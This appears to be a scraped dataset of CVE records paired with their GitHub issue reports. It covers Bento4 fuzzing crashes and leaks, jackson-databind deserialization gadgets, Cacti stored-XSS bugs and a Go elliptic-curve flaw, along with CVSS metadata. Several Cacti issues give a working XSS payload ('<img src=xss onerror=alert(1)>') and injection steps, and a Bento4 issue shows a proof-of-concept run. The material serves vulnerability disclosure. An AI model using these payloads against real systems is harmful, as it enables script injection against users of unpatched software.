AP4_AvcSampleEntry::AP4_AvcSampleEntry(unsigned int, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4SampleEntry.cpp:994 #14 0x561a5ff40e2d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:306 #15 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #16 0x561a5ffd4ce5 in AP4_StsdAtom::AP4_StsdAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StsdAtom.cpp:101 #17 0x561a5ffd4553 in AP4_StsdAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4StsdAtom.cpp:57 #18 0x561a5ff41ca4 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:424 #19 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #20 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #21 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #22 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #23 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #24 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #25 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #26 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #27 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #28 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #29 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #30 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #31 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #32 0x561a5ff50b8e in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:88 #33 0x561a5ff43519 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:764 #34 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #35 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #36 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #37 0x561a5ffeb530 in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4TrakAtom.cpp:165 #38 0x561a5ff44589 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x348589) #39 0x561a5ff4193d in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:379 #40 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #41 0x561a5ff515bc in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:194 #42 0x561a5ff51030 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4ContainerAtom.cpp:139 #43 0x561a5ff83d52 in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4MoovAtom.cpp:80 #44 0x561a5ff44523 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x348523) #45 0x561a5ff417b6 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:359 #46 0x561a5ff40310 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:221 #47 0x561a5ff3f8d3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4AtomFactory.cpp:151 #48 0x561a5ff60849 in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4File.cpp:104 #49 0x561a5ff604b8 in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Core/Ap4File.cpp:78 #50 0x561a5ff2cec3 in main /home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1837 #51 0x7f8b9d4acb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #52 0x561a5ff20a89 in _start (/home/parallels/Desktop/Fuzz/Bento4/Bento4-SRC-1-5-1-627/cmakebuild/mp42hls+0x324a89) ``` FoundBy: [email protected]

Allocate for large amounts of memory failed in Ap4StcoAtom.cpp:81 at Bento4 1.5.1-627 when running mp42hls

https://api.github.com/repos/axiomatic-systems/Bento4/issues/350/comments

2

2018-12-31T15:52:26Z

2019-01-12T21:14:48Z

https://github.com/axiomatic-systems/Bento4/issues/350

394,998,583

350

CVE-2018-14718

2019-01-02T18:29:00.310

FasterXML jackson-databind 2.x before 2.9.7 might allow remote attackers to execute arbitrary code by leveraging failure to block the slf4j-ext class from polymorphic deserialization.

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"https://access.redhat.com/errata/RHSA-2019:1823" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:2804" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:2858" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3002" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3140" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3149" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:3892" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://access.redhat.com/errata/RHSA-2019:4037" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson-databind/commit/87d29af25e82a249ea15858e2d4ecbf64091db44" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson-databind/issues/2097" }, { "source": "[email protected]", "tags": [ "Patch", "Release Notes", "Third Party Advisory" ], "url": "https://github.com/FasterXML/jackson/wiki/Jackson-Release-2.9.7" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f%40%3Cdev.drill.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": "https://lists.apache.org/thread.html/6a78f88716c3c57aa74ec05764a37ab3874769a347805903b393b286%40%3Cdev.lucene.apache.org%3E" }, { "source": "[email protected]", "tags": null, "url": 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"https://lists.debian.org/debian-lts-announce/2019/03/msg00005.html" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://seclists.org/bugtraq/2019/May/68" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://security.netapp.com/advisory/ntap-20190530-0003/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4452" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpuapr2020.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpujan2020.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.oracle.com/security-alerts/cpuoct2020.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujan2019-5072801.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html" } ]

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https://github.com/FasterXML/jackson-databind/issues/2097

[ "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

This issue covers following CVEs related to polymorphic deserialization, gadgets: * CVE-2018-14718: RCE with slf4j-ext jar * CVE-2018-14719: RCE with blaze-ds-opt, -core jars * CVE-2018-14720: exfiltration/XXE with only JDK classes (some JDK versions) * CVE-2018-14721: exfiltration/SSRF with axis2-jaxws Original vulnerability discoverer: 吴桂雄 Wuguixiong ----- Fixed in: * 2.9.7 and later * 2.8.11.3 * 2.7.9.5 * 2.6.7.3

Block more classes from polymorphic deserialization (CVE-2018-14718 - CVE-2018-14721)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2097/comments

11

2018-07-27T05:58:22Z

2019-10-16T04:34:07Z

https://github.com/FasterXML/jackson-databind/issues/2097

345,100,313

2,097

CVE-2018-19360

2019-01-02T18:29:00.717

FasterXML jackson-databind 2.x before 2.9.8 might allow attackers to have unspecified impact by leveraging failure to block the axis2-transport-jms class from polymorphic deserialization.

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Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4452" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/security-alerts/cpuapr2020.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html" }, { "source": "[email protected]", "tags": null, "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html" } ]

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https://github.com/FasterXML/jackson-databind/issues/2186

[ "Issue Tracking", "Patch", "Third Party Advisory" ]

github.com

[ "FasterXML", "jackson-databind" ]

This issue covers following CVEs related to polymorphic deserialization, gadgets: CVE-2018-19360 (axis2-transport-jms) CVE-2018-19361 (openjpa) CVE-2018-19362 (jboss-common-core) See https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062 for description of the general problem. Original vulnerability discoverer: 吴桂雄 Wuguixiong Fixed in: * 2.9.8 and later * 2.8.11.3 * 2.7.9.5 * 2.6.7.3

Block more classes from polymorphic deserialization (CVE-2018-19360, CVE-2018-19361, CVE-2018-19362)

https://api.github.com/repos/FasterXML/jackson-databind/issues/2186/comments

8

2018-11-18T23:39:02Z

2020-07-31T17:29:54Z

https://github.com/FasterXML/jackson-databind/issues/2186

382,014,049

2,186

CVE-2019-6132

2019-01-11T05:29:01.763

An issue was discovered in Bento4 v1.5.1-627. There is a memory leak in AP4_DescriptorFactory::CreateDescriptorFromStream in Core/Ap4DescriptorFactory.cpp when called from the AP4_EsdsAtom class in Core/Ap4EsdsAtom.cpp, as demonstrated by mp42aac.

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[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/357" } ]

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https://github.com/axiomatic-systems/Bento4/issues/357

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

there is memory leaks in Ap4String.cpp ./mp42aac poc /dev/null ================================================================= ==15810==ERROR: LeakSanitizer: detected memory leaks Direct leak of 96 byte(s) in 1 object(s) allocated from: #0 0x522860 in operator new(unsigned long) (/root/apps/Bento4/mp42aac+0x522860) #1 0x5c80a5 in AP4_DescriptorFactory::CreateDescriptorFromStream(AP4_ByteStream&, AP4_Descriptor*&) /root/apps/Bento4/Source/C++/Core/Ap4DescriptorFactory.cpp:122:22 #2 0x5f8687 in AP4_EsdsAtom::AP4_EsdsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /root/apps/Bento4/Source/C++/Core/Ap4EsdsAtom.cpp:76:9 #3 0x5f8687 in AP4_EsdsAtom::Create(unsigned int, AP4_ByteStream&) /root/apps/Bento4/Source/C++/Core/Ap4EsdsAtom.cpp:52 #4 0x5e14cb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /root/apps/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:474:20 #5 0x5ddaa0 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /root/apps/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:221:14 #6 0x5d6aa5 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /root/apps/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12 #7 0x56699d in AP4_SampleEntry::Read(AP4_ByteStream&, AP4_AtomFactory&) /root/apps/Bento4/Source/C++/Core/Ap4SampleEntry.cpp:115:9 Indirect leak of 32 byte(s) in 1 object(s) allocated from: #0 0x5229e0 in operator new[](unsigned long) (/root/apps/Bento4/mp42aac+0x5229e0) #1 0x557d0a in AP4_String::Assign(char const*, unsigned int) /root/apps/Bento4/Source/C++/Core/Ap4String.cpp:165:15 SUMMARY: AddressSanitizer: 128 byte(s) leaked in 2 allocation(s). [bento4-memory-leak-AP4_String.zip](https://github.com/axiomatic-systems/Bento4/files/2746334/bento4-memory-leak-AP4_String.zip)

memory leaks in Ap4String.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/357/comments

1

2019-01-10T17:00:31Z

2019-01-12T09:36:13Z

https://github.com/axiomatic-systems/Bento4/issues/357

397,925,621

357

CVE-2018-20723

2019-01-16T16:29:00.510

A cross-site scripting (XSS) vulnerability exists in color_templates.php in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Name field for a Color.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

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https://github.com/Cacti/cacti/issues/2215

[ "Issue Tracking", "Exploit", "Third Party Advisory" ]

github.com

[ "Cacti", "cacti" ]

**Description** - There's no escape being done before printing out the value of `Name` in the Color Template page. <br> **Cacti version** - v1.1.38 <br> **Steps to reproduce** - - Navigate to http://localhost:4040/cacti/color_templates.php?action=template_edit & add the below shared payload as the `Name` field value. Payload - `<img src=xss onerror=alert(1)>` - Visit http://localhost:4040/cacti/color_templates.php?action=template_edit, the payload will be triggered. <br> <img width="700" alt="cacti6" src="https://user-images.githubusercontent.com/42465102/50050365-73812180-011e-11e9-8979-94c8c2ccfa9b.png"> <img width="702" alt="cacti7" src="https://user-images.githubusercontent.com/42465102/50050366-73812180-011e-11e9-97b4-8cb0b75acc19.png">

Stored XSS in "Name" field - Color

https://api.github.com/repos/Cacti/cacti/issues/2215/comments

1

2018-12-16T05:07:28Z

2020-06-30T05:31:09Z

https://github.com/Cacti/cacti/issues/2215

391,436,176

2,215

CVE-2018-20724

2019-01-16T16:29:00.557

A cross-site scripting (XSS) vulnerability exists in pollers.php in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Website Hostname for Data Collectors.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

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https://github.com/Cacti/cacti/issues/2212

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Cacti", "cacti" ]

**Description** - There's no escape being done before printing out the value of `Hostname` value in the Data collectors table. <br> **Cacti version** - v1.1.38 <br> **Steps to reproduce** - - Navigate to http://localhost/cacti/pollers.php?action=edit&id=1 & add the below shared payload as the `Hostname` field value. Payload - `<img src=xss onerror=alert(1)>` - Visit http://localhost/cacti/pollers.php, payload will be triggered. <br> <img width="732" alt="cacti" src="https://user-images.githubusercontent.com/42465102/50042544-67e41b00-008a-11e9-849c-0ae9d7164810.png"> <img width="730" alt="cacti1" src="https://user-images.githubusercontent.com/42465102/50042557-8813da00-008a-11e9-8ac0-1722a257ae3b.png">

Stored XSS in "Website Hostname" field - Data Collectors

https://api.github.com/repos/Cacti/cacti/issues/2212/comments

1

2018-12-15T11:31:18Z

2020-06-30T05:31:10Z

https://github.com/Cacti/cacti/issues/2212

391,369,971

2,212

CVE-2018-20725

2019-01-16T16:29:00.620

A cross-site scripting (XSS) vulnerability exists in graph_templates.php in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Graph Vertical Label.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

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https://github.com/Cacti/cacti/issues/2214

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Cacti", "cacti" ]

**Description** - There's no escape being done before printing out the value of `Vertical Label` in the Graphic templates page. <br> **Cacti version** - v1.1.38 <br> **Steps to reproduce** - - Navigate to http://localhost:4040/cacti/graph_templates.php?action=template_edit&id=1 & add the below shared payload as the `Vertical label` field value. Payload - `label<img src=xss onerror=alert(1)>` - Visit http://localhost:4040/cacti/graph_templates.php, the payload will be triggered. <br> <img width="641" alt="cacti4" src="https://user-images.githubusercontent.com/42465102/50050353-e9d15400-011d-11e9-934a-fdebca472c83.png"> <img width="641" alt="cacti5" src="https://user-images.githubusercontent.com/42465102/50050354-e9d15400-011d-11e9-9ea5-67ed291d8e20.png">

Stored XSS in "Vertical Label" field - Graph

https://api.github.com/repos/Cacti/cacti/issues/2214/comments

1

2018-12-16T05:03:25Z

2020-06-30T05:31:09Z

https://github.com/Cacti/cacti/issues/2214

391,436,010

2,214

CVE-2018-20726

2019-01-16T16:29:00.697

A cross-site scripting (XSS) vulnerability exists in host.php (via tree.php) in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Website Hostname field for Devices.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

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https://github.com/Cacti/cacti/issues/2213

[ "Issue Tracking", "Exploit", "Third Party Advisory" ]

github.com

[ "Cacti", "cacti" ]

**Description** - There's no escape being done before printing out the value of `Hostname` value in the Tree table. <br> **Cacti version** - v1.1.38 <br> **Steps to reproduce** - - Navigate to http://localhost:4040/cacti/host.php?action=edit&id=1 & add the below shared payload as the `Hostname` field value. Payload - `<img src=xss onerror=alert(1)>` - Visit http://localhost:4040/cacti/tree.php?action=edit&id=1, payload will be triggered. <br> <img width="683" alt="cacti2" src="https://user-images.githubusercontent.com/42465102/50050299-e6899880-011c-11e9-8e8d-09ea6c58bdfc.png"> <img width="685" alt="cacti3" src="https://user-images.githubusercontent.com/42465102/50050300-e6899880-011c-11e9-9c50-c2e66771488c.png">

Stored XSS in "Website Hostname" field - Devices

https://api.github.com/repos/Cacti/cacti/issues/2213/comments

1

2018-12-16T04:56:37Z

2020-06-30T05:31:08Z

https://github.com/Cacti/cacti/issues/2213

391,435,648

2,213

CVE-2019-6486

2019-01-24T05:29:00.907

Go before 1.10.8 and 1.11.x before 1.11.5 mishandles P-521 and P-384 elliptic curves, which allows attackers to cause a denial of service (CPU consumption) or possibly conduct ECDH private key recovery attacks.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.2, "baseSeverity": "HIGH", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 4.2, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

